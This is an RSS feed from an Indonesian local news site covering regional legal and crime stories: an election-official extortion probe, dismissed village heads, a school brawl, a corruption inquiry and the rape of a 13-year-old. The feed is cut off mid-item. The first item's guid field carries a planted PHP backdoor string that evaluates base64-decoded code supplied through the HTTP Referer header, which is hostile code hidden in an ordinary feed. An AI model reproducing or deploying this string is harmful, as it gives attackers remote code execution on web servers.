<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Berita Kaur &#187; Hukum</title>
	<atom:link href="http://kaurnews.com/category/hukum/feed" rel="self" type="application/rss+xml" />
	<link>http://kaurnews.com</link>
	<description>Berita Online Kaur</description>
	<lastBuildDate>Fri, 09 Jul 2010 02:26:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Terkait Pungli, Oknum Anggota KPU Diperiksa</title>
		<link>http://kaurnews.com/terkait-pungli-oknum-anggota-kpu-diperiksa</link>
		<comments>http://kaurnews.com/terkait-pungli-oknum-anggota-kpu-diperiksa#comments</comments>
		<pubDate>Thu, 06 May 2010 02:46:13 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/2010/05/06/terkait-pungli-oknum-anggota-kpu-diperiksa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Dijelaskan Kasat, pemeriksaan ini untuk minta keterangan terkait adanya  laporan para mantan Panitia Pelaksana Kecamatan (PPK) Kecamatan Kelam  Tengah. Sedangkan pemeriksaan terhadap saksi lainnya yakni mantan  anggota PPK itu, sudah dilakukan lebih dulu.
Hasilnya, para mantan PPK tersebut mengaku kalau mereka dijanji akan  dikukuhkan kembali menjadi PPK Pilkada, 3 Juli mendatang. Tetapi [...]]]></description>
			<content:encoded><![CDATA[<p>Dijelaskan Kasat, pemeriksaan ini untuk minta keterangan terkait adanya  laporan para mantan Panitia Pelaksana Kecamatan (PPK) Kecamatan Kelam  Tengah. Sedangkan pemeriksaan terhadap saksi lainnya yakni mantan  anggota PPK itu, sudah dilakukan lebih dulu.</p>
<p>Hasilnya, para mantan PPK tersebut mengaku kalau mereka dijanji akan  dikukuhkan kembali menjadi PPK Pilkada, 3 Juli mendatang. Tetapi  syaratnya, para PPK harus  menyetor uang kepada oknum anggota KPU  masing-masing Rp 500 – Rp 1 juta/orang.</p>
<p>‘’Kalau nanti hasil pemeriksaan didapati cukup bukti, akan kita  naikkan menjadi tersangka. Tapi dari hasil pemeriksaan sementara, oknum  tersebut (EE-red) dengan dugaan melakukan tindak pidana 378 KUHP tentang  penipuan. Karena dari keterangan saksi, EE menjanjikan sesuatu hal.  Tapi janji itu tidak ditepati. Sedangkan uang yang diambilnya tidak  dikembalikan pada para mantan PPK,’’ ungkap Kasat Reskrim.</p>
<p>Masih menurut Kasat, jumlah saksi yang sudah diperiksa, sebanyak 45  orang. Tidak hanya para mantan anggota PPK, tapi juga orang yang bekerja  di sekretariat KPU. Jadi pihaknya berharap dalam pemeriksaan nanti  ditemukan ada indikasi pidananya. Maka sudah bias menjurus penetapan  tersangka.</p>
<p>‘’Tentu kalau sudah ditetapkan tersangka, berkas perkara akan segera  dilengkapi untuk diajukan ke kejaksaan. Hasil dari pemeriksaan jaksa  inilah apakah lengkap atau tidak. Kalau sudah rampung, alias P21  berkasnya bisa diserahkan sepenuhnya.  Tersangka juga tidak menutup  kemungkinan bisa ditahan. Sekarang masih menunggu proses pemeriksaan dan  penyelidikan lebih lanjut,’’ pungkas Kasat Reskrim.</p>
<p>Sumber RB</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fterkait-pungli-oknum-anggota-kpu-diperiksa&amp;linkname=Terkait%20Pungli%2C%20Oknum%20Anggota%20KPU%20Diperiksa"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/terkait-pungli-oknum-anggota-kpu-diperiksa/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kades Tanjung Bulan Dipecat</title>
		<link>http://kaurnews.com/kades-tanjung-bulan-dipecat</link>
		<comments>http://kaurnews.com/kades-tanjung-bulan-dipecat#comments</comments>
		<pubDate>Thu, 08 Apr 2010 03:35:39 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/kades-tanjung-bulan-dipecat</guid>
		<description><![CDATA[Kepastian pemecatan Kades ini diungkapkan langsung oleh Asisten I Pemkab Kaur, Nandar Munadi SSos. Walapun Kades tersebut mengaku bahwa apa yang dilakukanya tersebut tidak melanggar adat istiadat, karena dirinya bertanggung jawab terhadap perbuatanya, dengan menikahi janda di Desa Padang Leban dan telah mendapat restu dari istri pertamanya namun apa yang di masyarakat berbeda.
Warga tetap ingin [...]]]></description>
			<content:encoded><![CDATA[<p>Kepastian pemecatan Kades ini diungkapkan langsung oleh Asisten I Pemkab Kaur, Nandar Munadi SSos. Walapun Kades tersebut mengaku bahwa apa yang dilakukanya tersebut tidak melanggar adat istiadat, karena dirinya bertanggung jawab terhadap perbuatanya, dengan menikahi janda di Desa Padang Leban dan telah mendapat restu dari istri pertamanya namun apa yang di masyarakat berbeda.</p>
<p>Warga tetap ingin meminta Kades itu dipecat karena telah mencemarkan nama baik desa, terangnya.<br />
Diakui Nandar, keterangan istri pertama Erwanto, yang mengaku siap dimadu sesuai kesepakatan kurang disetuji warga setempat.</p>
<p>Warga pun melapor ke DPRD. Setelah disikapi dengan baik akhirnya DPRD memberikan rekomendasi untuk menyelesaikan masalah ini, ujar Nandar<br />
Selanjutnya, akan ditetapkan Pjs Kades untuk mempersiapkan Pilakdes yang juga sesuai dengan tuntutan warga.</p>
<p>Sumber BE</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fkades-tanjung-bulan-dipecat&amp;linkname=Kades%20Tanjung%20Bulan%20Dipecat"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/kades-tanjung-bulan-dipecat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tawuran, Delapan Siswa SMAN 3 Menderita Luka</title>
		<link>http://kaurnews.com/tawuran-delapan-siswa-sman-3-menderita-luka</link>
		<comments>http://kaurnews.com/tawuran-delapan-siswa-sman-3-menderita-luka#comments</comments>
		<pubDate>Mon, 01 Mar 2010 13:01:47 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Kriminal]]></category>

		<guid isPermaLink="false">http://kaurnews.com/tawuran-delapan-siswa-sman-3-menderita-luka</guid>
		<description><![CDATA[Tawuran yang menggunakan parang dan cangkul itu, sempat menggegerkan  masyarakat di dua desa tersebut. Karena dalam aksi tawuran tersebut para  siswa sempat bawa parang dan cangkul. Untungnya aksi tersebut tidak  menimbulkan korban jika karena para guru dan masyarakat setempat  berhasil menghentikannya.
Data diperoleh, aksi tawuran berawal ketika dua siswa Agung dan Nopi [...]]]></description>
			<content:encoded><![CDATA[<p>Tawuran yang menggunakan parang dan cangkul itu, sempat menggegerkan  masyarakat di dua desa tersebut. Karena dalam aksi tawuran tersebut para  siswa sempat bawa parang dan cangkul. Untungnya aksi tersebut tidak  menimbulkan korban jika karena para guru dan masyarakat setempat  berhasil menghentikannya.</p>
<p>Data diperoleh, aksi tawuran berawal ketika dua siswa Agung dan Nopi  ribut mulut dengan salah seorang siswa Merdian dan temam-temanya dalam  kelas. Aksi keributan itu hanya gara-gara penghapus. Entah kenapa&#8211;  karena tidak ada yang mau mengalah akhirnya sejumlah siswa terjadi adu  jotos dalam kelas. Namun keributan itu cepat dilerai oleh sejumlah siswa  lainnya.</p>
<p>Ironisnya, para siswa yang berkelahi dalam kelas, kembali sama-sama  merasa tidak senang dan berbuntut panjang. Saat pulang sekolah terjadi  saling tunggu di jalan tepatnya di kawasan Jembatan Sungai Luas.</p>
<p>‘’Akasi itu saya ketahui saat ingin pulang dari sekolah. Tiba-tiba  saja mendapat telepon dari seorang siswa mengatakan ada siswa SMAN 3  tawuran. Begitu mendapat kabar tersebut saya bersama guru lainnya  langsung meluncur ke lokasi. Dan benar adanya,’’ papar Kepala SMAN 3  Kaur, Sudi Susanto, S.Pd kepada RB, kemarin.</p>
<p>Saat kejadian para siswa ada yang membawa parang dan cangkul. Dan  saat itu juga para guru yang ada di lokasi berusaha menghentikan aksi  tawuran itu. Tapi karena  kondisinya sudah panas, sulit dikendalikan.  Akhirnya para guru menghubungi pihak Polsek Kaur Tengah. Begitu tiba  aparat Polse Kaur Tengah yang dipimpin Kapolsek AKP Afrizal, sejumlah  siswa yang terlibat tawuran berhasil diamankan.</p>
<p>Hanya saja beberapa pemuda yang bukan siswa SMAN 3 berhasil  melarikan diri. Tak lama kemudian, beberapa siswa langsung diangkut ke  Polsek. Masing-masing orang tua siswa langsung dipanggil. Termasuk  melibatkan Kades Tanjung Baru dan Tanjung Pandan.</p>
<p>‘’Awalnya hanya gara-gara penghapus. Tapi kami tak menyangka kalau  mereka masih akan berkelahi di luar sekolah. Sekarang mereka yang  bertikai sudah diminta buat surat perjanjian di atas materai Rp 6000.  Isinya; jika kembali melakukan tawuran akan dikeluarkan dari sekolah dan  diproses secara hukum. Karena perjanjian itu dibuat langsung di  Mapolsek,’’ tegas Sudi Suanto.</p>
<p>Sementara Kapolres Kaur, AKBP Hary Sudwijanto, S.IK, M.Si melalui  Kapolsek Kaur Tengah, AKP Afrizal ketika dikonfirmasi, membenarkan ada  aksi tawuran siswa. Dan aksi ini berhasil diredam. Tetapi polisi masih  tetap melakukan upaya pemantauan, agar tidak terulang lagi.</p>
<p>‘’Para siswa yang tawuran sudah diatasi oleh pihak sekolah. Mereka  juga bersedia tidak ada saling dendam dan sepakat melakukan perdamaian  di atas materai. Tetapi kalau kembali melakukan tawuran, kami tidak akan  tinggal diam untuk memprosesnya secara hukum,’’ demikian Afrizal.</p>
<p>Sumber RB</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Ftawuran-delapan-siswa-sman-3-menderita-luka&amp;linkname=Tawuran%2C%20Delapan%20Siswa%20SMAN%203%20Menderita%20Luka"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/tawuran-delapan-siswa-sman-3-menderita-luka/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Asusila, 2 Kades Resmi Dipecat</title>
		<link>http://kaurnews.com/asusila-2-kades-resmi-dipecat</link>
		<comments>http://kaurnews.com/asusila-2-kades-resmi-dipecat#comments</comments>
		<pubDate>Fri, 29 Jan 2010 03:57:41 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Kriminal]]></category>

		<guid isPermaLink="false">http://kaurnews.com/asusila-2-kades-resmi-dipecat</guid>
		<description><![CDATA[Diungkapkan Sekda, khusus untuk kedua kades itu benar-benar sudah terbukti. Bahkan dari seluruh warga masyarakat berikut perangkat desa sudah menyetujui agar diberhentikan. Kedua kades juga sudah menerima keputusan tersebut. Bahkan surat pemberhentiannya sudah mereka terima. Untuk saat ini tugas kepala desa diambil alih oleh Sekdes. Namun untuk penetapan selanjutnya sampai digelar Pilkades masih menunggu hasil [...]]]></description>
			<content:encoded><![CDATA[<p>Diungkapkan Sekda, khusus untuk kedua kades itu benar-benar sudah terbukti. Bahkan dari seluruh warga masyarakat berikut perangkat desa sudah menyetujui agar diberhentikan. Kedua kades juga sudah menerima keputusan tersebut. Bahkan surat pemberhentiannya sudah mereka terima. Untuk saat ini tugas kepala desa diambil alih oleh Sekdes. Namun untuk penetapan selanjutnya sampai digelar Pilkades masih menunggu hasil kesepakatan perangkat desa itu sendiri. Apakah akan dilimpahkan ke Sekdesnya atau ditangani dari pihak kecamatan.</p>
<p>‘’Sesuai PP 72 tahun 2005 itu kades bisa diberhentikan kalau melanggar adat. Kedua kades itu sendiri sudah terbukti. Untuk Ra itu terbukti telah melakukan hubungan perselingkungan dengan seorang wanita satu desanya yang masih berstatus istri sah orang lain. Bahkan akibat perbuatannya sudah membuahkan anak berumur 8 bulan. Sedangkan Sa terbukti melakukan perbuatan zina dengan menghamili pembantunya sendiri,’’ tegas Sekda.</p>
<p>Ditambahkan, mengenai status Kades Tanjung Bulan itu belum secara resmi diputuskan diberhentikan. Karena masih tahap proses dipelajari lebih dulu. Karena masih ingin melihat sejauh mana dukungan masyarakat yang meminta diberhentikan atau mempertahankannya. Sebab untuk perangkat desa dan BPD itu semuanya tetap meminta agar diberhentikan.</p>
<p>‘’Rekomendasi Bupati sudah turun dan meminta untuk dipelajari lagi. Tapi kalau nantinya hasil masyarakat sudah semuanya setuju dan perangkat desa tetap menginginkan agar diberhentikan, tetap saja dikeluarkan surat pemberhentian. Karena pertimbangannya kini yang bersangkutan ada surat izin dari istri sahnya. Tapi tetap saja kalau masyarakat tidak menyetujui bisa diberhentikan. Jadi tunggu saja keputusannya nanti,’’ pungkasnya.</p>
<p>Sumber RB</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fasusila-2-kades-resmi-dipecat&amp;linkname=Asusila%2C%202%20Kades%20Resmi%20Dipecat"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/asusila-2-kades-resmi-dipecat/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>4 Pejabat Kaur Diperiksa Jaksa</title>
		<link>http://kaurnews.com/4-pejabat-kaur-diperiksa-jaksa</link>
		<comments>http://kaurnews.com/4-pejabat-kaur-diperiksa-jaksa#comments</comments>
		<pubDate>Thu, 28 Jan 2010 01:28:06 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>
		<category><![CDATA[Politik]]></category>

		<guid isPermaLink="false">http://kaurnews.com/4-pejabat-kaur-diperiksa-jaksa</guid>
		<description><![CDATA[Kajari Bintuhan Dwi Sumadji, SH, M.Hum melalui tim Puldata Mustarso, SH mengakui adanya pemeriksaan keempat pejabat tersebut. Mereka ini dipanggil untuk dimintai keterangan terkait proyek Alkes yang diduga bermasalah. Karena dalam pelaksanaan proyek tersebut tidak dilakukan study kelayakan sejumlah alat medis yang dibeli.  Menurut Kajari, sebelumnya dua orang panitia lelang sudah dipanggil. Diantaranya berinisial [...]]]></description>
			<content:encoded><![CDATA[<p>Kajari Bintuhan Dwi Sumadji, SH, M.Hum melalui tim Puldata Mustarso, SH mengakui adanya pemeriksaan keempat pejabat tersebut. Mereka ini dipanggil untuk dimintai keterangan terkait proyek Alkes yang diduga bermasalah. Karena dalam pelaksanaan proyek tersebut tidak dilakukan study kelayakan sejumlah alat medis yang dibeli.  Menurut Kajari, sebelumnya dua orang panitia lelang sudah dipanggil. Diantaranya berinisial De. Namun meski sudah dilakukan pemanggilan, para pihak yang terlibat akan dipanggil kembali. Apalagi dalam proses penyelidikannya, sudah dikembangkan ke penyidikan. Sebab beberapa dokumen terkait dengan proyek itu sudah diamankan. Tujuannya untuk mengetahui kebenarannya.  ‘’Kita sekarang sedang mengumpulkan data. Masih banyak sekali data yang kurang. Makanya tim pelelangan sudah dipanggil. Ini untuk memperbanyak data supaya bisa dikembangkan ke tingkat penyidikan. Pemanggilan tak hanya sekali, tapi bisa saja dilakukan beberapa kali kalau memang dibutuhkan keterangannya,’’ tegas Mustarso kepada RB kemarin.  Dijelaskan, soal keterangan PPTK yang menyatakan bahwa pelaksanaan proyek Alkes sudah sesuai dengan ketentuan, tidak masalah. Karena, tidak ada orang yang ingin mengakui perbuatannya kalau sedang terjepit. Makanya pihaknya masih akan panggil beberapa pihak terkait termasuk kontraktor. ‘’Buktikan saja di pengadilan nanti. Apakah terbukti atau tidak,’’ jelasnya.  Sementara PPTK Alkes, Dr. Edi Hutagalung ketika dihubungi RB, kemarin, mengakui dirinya tidak keberatan kalau dipanggil pihak kejaksaan terkait proyek tersebut. Soal tidak dilakukan study kelayakan, karena ahlinya tidak ada. ‘’Silahkan saja mereka menyelidiki,’’ jelasnya.</p>
<p>Sumber RB</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2F4-pejabat-kaur-diperiksa-jaksa&amp;linkname=4%20Pejabat%20Kaur%20Diperiksa%20Jaksa"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/4-pejabat-kaur-diperiksa-jaksa/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dicabuli, Hamil 3 Bulan</title>
		<link>http://kaurnews.com/dicabuli-hamil-3-bulan</link>
		<comments>http://kaurnews.com/dicabuli-hamil-3-bulan#comments</comments>
		<pubDate>Tue, 26 Jan 2010 09:32:52 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Kriminal]]></category>

		<guid isPermaLink="false">http://kaurnews.com/dicabuli-hamil-3-bulan</guid>
		<description><![CDATA[Pelaporan dilakukan oleh keluarga korban sebut saja namanya Bunga (13) yang juga warga Desa Muara Nasal.
Pihak keluarga melaporkan pelaku yang telah mencabuli putrinya 3 bulan lalu yang menyebabkan korban hamil. Tanpa adanya perlawanan pelaku berhasil ditangkap di rumahnya.
Data terhimpun BE, peristiwa itu terjadi sekitar bulan oktober lalu. Kala itu Bunga (13) sedang sedirian di rumahnya. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-451" title="pemerkosaan1" src="http://kaurnews.com/m/wp-content/uploads/2009/07/pemerkosaan1-150x150.jpg" alt="pemerkosaan1" width="150" height="150" />Pelaporan dilakukan oleh keluarga korban sebut saja namanya Bunga (13) yang juga warga Desa Muara Nasal.<br />
Pihak keluarga melaporkan pelaku yang telah mencabuli putrinya 3 bulan lalu yang menyebabkan korban hamil. Tanpa adanya perlawanan pelaku berhasil ditangkap di rumahnya.</p>
<p>Data terhimpun BE, peristiwa itu terjadi sekitar bulan oktober lalu. Kala itu Bunga (13) sedang sedirian di rumahnya. Suasana yang sepi dimanfaatkan oleh pelaku yang langsung mengintip korban sedang menonton TV.</p>
<p>Masuk ke rumah korban melalui pintu jendela yang terbuka lebar, pelaku langsung mendekap korban. Korban sempat meronta dan berteriak. Namun cengkraman pekau disertai ancaman membuat korban ketakutan.</p>
<p>Akhirnya korban pasrah dan membiarkan pelaku melakukan perbuatan bejatnya.Usai melakukan aksi bejatnya, pelaku kembali mengancam korban untuk tidak melaporkan kejadian ini kepada orang lain.</p>
<p>Selanjutnya, 3 bulan setelah pristiwa tersebut korban mengalami mual-mual. Melihat kodisi itu,<br />
keluarga korban curiga. Setelah didesak korban akhirnya mengakui bahwa dirinya telah dicabuli pelaku yang masih tetangganya.</p>
<p>Sehingga akibat kejadian tersebut korban hamil 3 bulan. Mendengar pengakuan itu, pihak keluarga korban langsung melaporkan kejadian tersebut ke Mapolsek Nasal.</p>
<p>Kapolres Kaur AKBP Hary Sudwijanto SIK MSi melalui Kapolsek Nasal AKP Amsaludin SIK saat dihubungi membenarkan kejadian tersebut. Kini pelaku telah ditangkap dan langsung digelandang ke Mapolres Kaur untuk dimintai keterannganya.</p>
<p>Sumber BE</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fdicabuli-hamil-3-bulan&amp;linkname=Dicabuli%2C%20Hamil%203%20Bulan"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/dicabuli-hamil-3-bulan/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ICW Desak Pelimpahan Kasus Gubernur Bengkulu</title>
		<link>http://kaurnews.com/icw-desak-pelimpahan-kasus-gubernur-bengkulu</link>
		<comments>http://kaurnews.com/icw-desak-pelimpahan-kasus-gubernur-bengkulu#comments</comments>
		<pubDate>Fri, 15 Jan 2010 03:49:16 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/icw-desak-pelimpahan-kasus-gubernur-bengkulu</guid>
		<description><![CDATA[VIVAnews &#8211; Indonesia Corruption Watch (ICW) mendesak Kejaksaan Agung segera melimpahkan berkas perkara dugaan penyalahgunaan dana hasil pajak (PBB dan BPHTB) oleh Gubernur Bengkulu, Agusrin Maryono Najamudin ke pengadilan.
&#8220;Kami meminta Kejaksaan Agung segera melimpahkan kasus tersebut ke Pengadilan Negeri Jakarta Pusat,&#8221; kata peneliti ICW, Abdullah Dahlan ketika melakukan audiensi dengan Kejaksaan Agung di Jakarta, Rabu [...]]]></description>
			<content:encoded><![CDATA[<p>VIVAnews &#8211; Indonesia Corruption Watch (ICW) mendesak Kejaksaan Agung segera melimpahkan berkas perkara dugaan penyalahgunaan dana hasil pajak (PBB dan BPHTB) oleh Gubernur Bengkulu, Agusrin Maryono Najamudin ke pengadilan.</p>
<p>&#8220;Kami meminta Kejaksaan Agung segera melimpahkan kasus tersebut ke Pengadilan Negeri Jakarta Pusat,&#8221; kata peneliti ICW, Abdullah Dahlan ketika melakukan audiensi dengan Kejaksaan Agung di Jakarta, Rabu 13 Desember 2010.</p>
<p>Menurut Abdullah, kasus ini sudah lama ditangani Kejaksaan dan sudah dinyatakan lengkap. Kejaksaan melalui Jaksa Agung Muda Pidana Khusus Marwan Effendy, lanjut dia, sudah menyatakan berkas kasus itu akan dilimpahkan Juli tahun lalu.</p>
<p>Abdullah khawatir, ada intervensi di balik ketidaksegeraan Kejaksaan dalam melimpahkan berkas Gubernur Bengkulu ini. Pasalnya, kata dia, Agusrin diketahui menjabat sebagai Ketua DPD Partai Demokrat Bengkulu dan tim sukses Presiden Susilo Bambang Yudhoyono dalam Pemilihan 2009. &#8220;Kelambanan tersebut hanya karena persoalan teknis ataukah ada intervensi?&#8221; Kata dia.</p>
<p>Sebagaimana diketahui, Kejaksaan Agung menetapkan Gubernur Bengkulu, Agusrin Maryono Najamuddin, sebagai tersangka dalam kasus dana bagi hasil PBB- BPHTB senilai Rp 21,3 miliar. Kasus ini terungkap setelah Badan Pemeriksaan Keuangan (BPK) kantor Palembang, Sumsel, menemukan adanya kejanggalan dalam penggunaan dana dari pemerintah pusat sebesar Rp. 21,3 miliar saat melakukan pemeriksaan terhadap penggunaan APBD Provinsi Bengkulu tahun anggaran 2006.</p>
<p>Dari pemeriksaan tersebut ditemukan dana bagi hasil pajak tidak dimasukan ke kas daerah, melainkan ke penampungan sementara guna mempermudah pengambilan dana tersebut dan tidak perlu izin DPRD.</p>
<p>Temuan BPK itu kemudian ditindaklanjuti oleh Kejaksaan Tinggi Bengkulu, dan menetapkan Kepala Dispenda Chairuddin sebagai tersangka dan telah divonis satu tahun penjara oleh Pengadilan Negeri Kota Bengkulu. Dalam persidangan di PN Bengkulu, Chairuddin pernah mengaku bahwa seluruh pengeluaran uang yang dilakukannya atas sepengetahuan Agusrin Maryono Najamuddin.</p>
<p>Kemudian, pada Juni 2009, Jaksa Agung Muda Tindak Pidana Khusus,Marwan menyatakan, jaksa tengah menyusun dakwaan untuk Agusrtin dan rencananya berkas akan dilimpahkan ke Pengadilan Negeri Jakarta Pusat pada awal Juli 2009. Penentuan tempat diselenggarakannya sidang Gubernur Bengkulu tersebut di PN Jakpus tersebut, menyusul sudah diterimanya surat dari Mahkamah Agung</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Ficw-desak-pelimpahan-kasus-gubernur-bengkulu&amp;linkname=ICW%20Desak%20Pelimpahan%20Kasus%20Gubernur%20Bengkulu"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/icw-desak-pelimpahan-kasus-gubernur-bengkulu/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Noven Tolak Berdamai</title>
		<link>http://kaurnews.com/noven-tolak-berdamai</link>
		<comments>http://kaurnews.com/noven-tolak-berdamai#comments</comments>
		<pubDate>Tue, 22 Dec 2009 02:51:08 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/noven-tolak-berdamai</guid>
		<description><![CDATA[Noven tetap dengan keputusannya dengan tak melakukan pencabutan laporannya yang telah masuk ke Mapolres Kaur. Menurut politis Demokrat ini, pemukulan terhadap dirinya adalah sebuah penganiayaan.
Anggota dewan DPRD Kaur H Sunuhdi kepada BE mengungkapkan bahwa rapat internal anggota dewan secara tertup, sebelum membahas RAPBD 2010 dalam membahas permasalahan antara Z Muslih dan Noven pasca insiden pemukulan. [...]]]></description>
			<content:encoded><![CDATA[<p>Noven tetap dengan keputusannya dengan tak melakukan pencabutan laporannya yang telah masuk ke Mapolres Kaur. Menurut politis Demokrat ini, pemukulan terhadap dirinya adalah sebuah penganiayaan.</p>
<p>Anggota dewan DPRD Kaur H Sunuhdi kepada BE mengungkapkan bahwa rapat internal anggota dewan secara tertup, sebelum membahas RAPBD 2010 dalam membahas permasalahan antara Z Muslih dan Noven pasca insiden pemukulan. Pada intinya dewan meminta kedua belah pihak untuk berdamai dengan menyelesaikan secara kekeluargaan.</p>
<p>Namun lanjut Sunuhdi pihak pelapor Noven tidak mau melakukan perdamaian karena pemukulan tersebut merupakan sebuah penganiyaan bagi dirinya meminta pihak Kepolisian mengusut hal ini sesuai dengan hukum yang berlaku.</p>
<p>Kendati demikian, dewan masih tetap akan berupaya mendamaikan mereka berdua karena ini menyangkut insitusi dan citra anggota dewan di mata masyarakat. Kita harus menyikapi dengan baik permasalahan secara pribadi mapun lembaga DPRD. Mudah-mudahan permaslahan ini cepat selesai, ujar Sunuhdi</p>
<p>Sementara itu, Kapolres Kaur AKBP Hari Sudwijianto SIK MSi melalui kasat Reskrim AKP Imam Wijayanto SIK mengatakan, setelah melakukan pemeriksaan korban dan beberapa saksi maka pemukulan tersebut masuk kategori jelas penganiyaan.</p>
<p>Persoalan damai wewennag kedua belah pihak. Kami dari Kepolisian hanya melakukan tugas sebagi penengah sesuai dengan proses hukum yang berlalaku, jelasnya.</p>
<p>Sumber BE</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fkaurnews.com%2Fnoven-tolak-berdamai&amp;linkname=Noven%20Tolak%20Berdamai"><img src="http://kaurnews.com/m/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://kaurnews.com/noven-tolak-berdamai/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dokumen Jati Ilegal Dikeluarkan Pejabat SKAU Belum Dilantik</title>
		<link>http://kaurnews.com/dokumen-jati-ilegal-dikeluarkan-pejabat-skau-belum-dilantik</link>
		<comments>http://kaurnews.com/dokumen-jati-ilegal-dikeluarkan-pejabat-skau-belum-dilantik#comments</comments>
		<pubDate>Tue, 17 Nov 2009 03:57:43 +0000</pubDate>
		<dc:creator>Bujang Kaur</dc:creator>
				<category><![CDATA[Hukum]]></category>

		<guid isPermaLink="false">http://kaurnews.com/dokumen-jati-ilegal-dikeluarkan-pejabat-skau-belum-dilantik</guid>
		<description><![CDATA[Setelah diselidiki lebih lanjut, Harjo adalah Kades Batu Lungun yang belum dilantik menjadi pejabat pengeluar SKAU sehingga dokumen yang dimiliki Taut tidak sah. Tau sendiri mengaku belum mengetahui jika Harjo belum dilantik.
Terkiat hal ini, Kepala Dinas Kehutanan Pertambangan dan ESDM Pemkab Kaur Ir Lelkamsi mengatakan kayu tersebut tidak bisa dijalankan karena masalah dokumen yang kurang [...]]]></description>
			<content:encoded><![CDATA[<p>Setelah diselidiki lebih lanjut, Harjo adalah Kades Batu Lungun yang belum dilantik menjadi pejabat pengeluar SKAU sehingga dokumen yang dimiliki Taut tidak sah. Tau sendiri mengaku belum mengetahui jika Harjo belum dilantik.</p>
<p>Terkiat hal ini, Kepala Dinas Kehutanan Pertambangan dan ESDM Pemkab Kaur Ir Lelkamsi mengatakan kayu tersebut tidak bisa dijalankan karena masalah dokumen yang kurang sah. Sebab Harjo adalah pejabat pembuat SKAU yang belum dilantik oleh Dishut Kaur.</p>
